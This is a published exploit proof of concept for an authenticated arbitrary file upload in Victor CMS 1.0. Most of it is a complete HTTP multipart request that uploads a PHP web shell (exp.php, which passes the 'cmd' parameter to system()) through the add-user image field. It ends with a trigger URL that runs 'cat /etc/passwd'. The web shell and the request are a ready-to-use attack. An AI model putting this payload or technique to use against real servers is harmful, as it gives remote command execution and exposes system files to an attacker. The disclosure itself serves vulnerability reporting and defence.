# Exploit Title: Victor CMS 1.0 - Authenticated Arbitrary File Upload # Google Dork: N/A # Date: 2020-05-19 # Exploit Author: Kishan Lal Choudhary # Vendor Homepage: https://github.com/VictorAlagwu/CMSsite # Software Link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip # Version: 1.0 # Tested on: Windows 10 Description: The GET parameter '/admin/users.php?source=add_user' is vulnerable Arbitary File Uploads POST /admin/users.php?source=add_user HTTP/1.1 Host: localhost Content-Length: 1049 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrMPNq33u6rCpEFhB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://localhost/admin/users.php?source=add_user Accept-Encoding: gzip, deflate Accept-Language: en-GB,en;q=0.9,en-US;q=0.8,fr;q=0.7 Cookie: PHPSESSID=cjpan858fghefnjse7qv1j3v72 Connection: close ------WebKitFormBoundaryrMPNq33u6rCpEFhB Content-Disposition: form-data; name="user_name" test ------WebKitFormBoundaryrMPNq33u6rCpEFhB Content-Disposition: form-data; name="user_firstname" test ------WebKitFormBoundaryrMPNq33u6rCpEFhB Content-Disposition: form-data; name="user_lastname" test ------WebKitFormBoundaryrMPNq33u6rCpEFhB Content-Disposition: form-data; name="user_image"; filename="exp.php" Content-Type: application/octet-stream <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?> ------WebKitFormBoundaryrMPNq33u6rCpEFhB Content-Disposition: form-data; name="user_role" Admin ------WebKitFormBoundaryrMPNq33u6rCpEFhB Content-Disposition: form-data; name="user_email" test@tets.com ------WebKitFormBoundaryrMPNq33u6rCpEFhB Content-Disposition: form-data; name="user_password" test@1234 ------WebKitFormBoundaryrMPNq33u6rCpEFhB Content-Disposition: form-data; name="create_user" Add User ------WebKitFormBoundaryrMPNq33u6rCpEFhB-- The Shell can be triggered by visting http://localhost/img/exp.php?cmd=cat%20/etc/passwd